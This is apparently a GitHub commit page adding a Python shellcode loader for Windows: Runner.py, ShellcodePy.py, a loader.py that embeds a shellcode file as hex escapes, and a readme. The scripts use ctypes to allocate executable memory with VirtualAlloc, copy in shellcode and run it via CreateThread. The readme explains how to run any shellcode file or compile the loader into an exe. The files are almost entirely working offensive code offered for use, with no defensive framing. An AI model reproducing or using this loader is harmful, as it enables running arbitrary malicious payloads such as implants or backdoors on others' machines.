Skip to content

Commit fe0e2a2

Browse files
committed
first commit
0 parents  commit fe0e2a2

4 files changed

Lines changed: 89 additions & 0 deletions

File tree

Runner.py

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
import ctypes as kk
2+
3+
4+
def O():
5+
6+
b_x = b"YOURshellCODE"
7+
8+
kk.windll.kernel32.VirtualAlloc.restype = kk.c_void_p
9+
kk.windll.kernel32.CreateThread.argtypes = (
10+
kk.c_int, kk.c_int, kk.c_void_p, kk.c_int, kk.c_int, kk.POINTER(kk.c_int)
11+
)
12+
13+
spc = kk.windll.kernel32.VirtualAlloc(
14+
kk.c_int(0), kk.c_int(len(b_x)), kk.c_int(0x3000), kk.c_int(0x40)
15+
)
16+
bf = (kk.c_char * len(b_x)).from_buffer_copy(b_x)
17+
kk.windll.kernel32.RtlMoveMemory(kk.c_void_p(spc), bf, kk.c_int(len(b_x)))
18+
hndl = kk.windll.kernel32.CreateThread(
19+
kk.c_int(0), kk.c_int(0), kk.c_void_p(spc), kk.c_int(0), kk.c_int(0),
20+
kk.pointer(kk.c_int(0))
21+
)
22+
kk.windll.kernel32.WaitForSingleObject(hndl, kk.c_uint32(0xffffffff))

ShellcodePy.py

Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
import ctypes as kk
2+
import sys
3+
4+
def O(shl_f):
5+
6+
with open(shl_f, 'rb') as f:
7+
b_x = f.read()
8+
9+
10+
11+
kk.windll.kernel32.VirtualAlloc.restype = kk.c_void_p
12+
kk.windll.kernel32.CreateThread.argtypes = (
13+
kk.c_int, kk.c_int, kk.c_void_p, kk.c_int, kk.c_int, kk.POINTER(kk.c_int)
14+
)
15+
16+
spc = kk.windll.kernel32.VirtualAlloc(
17+
kk.c_int(0), kk.c_int(len(b_x)), kk.c_int(0x3000), kk.c_int(0x40)
18+
)
19+
bf = (kk.c_char * len(b_x)).from_buffer_copy(b_x)
20+
kk.windll.kernel32.RtlMoveMemory(kk.c_void_p(spc), bf, kk.c_int(len(b_x)))
21+
hndl = kk.windll.kernel32.CreateThread(
22+
kk.c_int(0), kk.c_int(0), kk.c_void_p(spc), kk.c_int(0), kk.c_int(0),
23+
kk.pointer(kk.c_int(0))
24+
)
25+
kk.windll.kernel32.WaitForSingleObject(hndl, kk.c_uint32(0xffffffff))
26+
if __name__ == "__main__":
27+
if len(sys.argv) != 2:
28+
print("Usage: python ShellcodePy.py shellcode.bin/or shellcode file")
29+
else:
30+
shl_f = sys.argv[1]
31+
O(shl_f)

loader.py

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
import sys
2+
3+
if __name__ == "__main__":
4+
if len(sys.argv) != 2:
5+
print("Usage: python loader.py shellcode.bin/or shellcode file")
6+
else:
7+
shl_f = sys.argv[1]
8+
with open(shl_f, 'rb') as f_in:
9+
bx = f_in.read()
10+
11+
with open('shelcode.py', 'r') as file:
12+
lines = file.readlines()
13+
14+
for i, line in enumerate(lines):
15+
if 'b_x = b"' in line:
16+
bx = bx.hex()
17+
18+
bx = "\\x" + "\\x".join(bx[i:i + 2] for i in range(0, len(bx), 2))
19+
20+
21+
lines[i] = ' b_x = b"' + bx + '"\n'
22+
23+
with open('shelcode.py', 'w') as file:
24+
file.writelines(lines)

readme.md

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
Greetings
2+
-------------------
3+
4+
this is a Shellcode Loader with Python :
5+
6+
Usage: python ShellcodePy.py shellcode.bin/or shellcode file
7+
8+
if you want to compile file into exe :
9+
10+
Usage loader.py shellcode.bin/or shellcode file
11+
12+
then compile Runner.py

0 commit comments

Comments
 (0)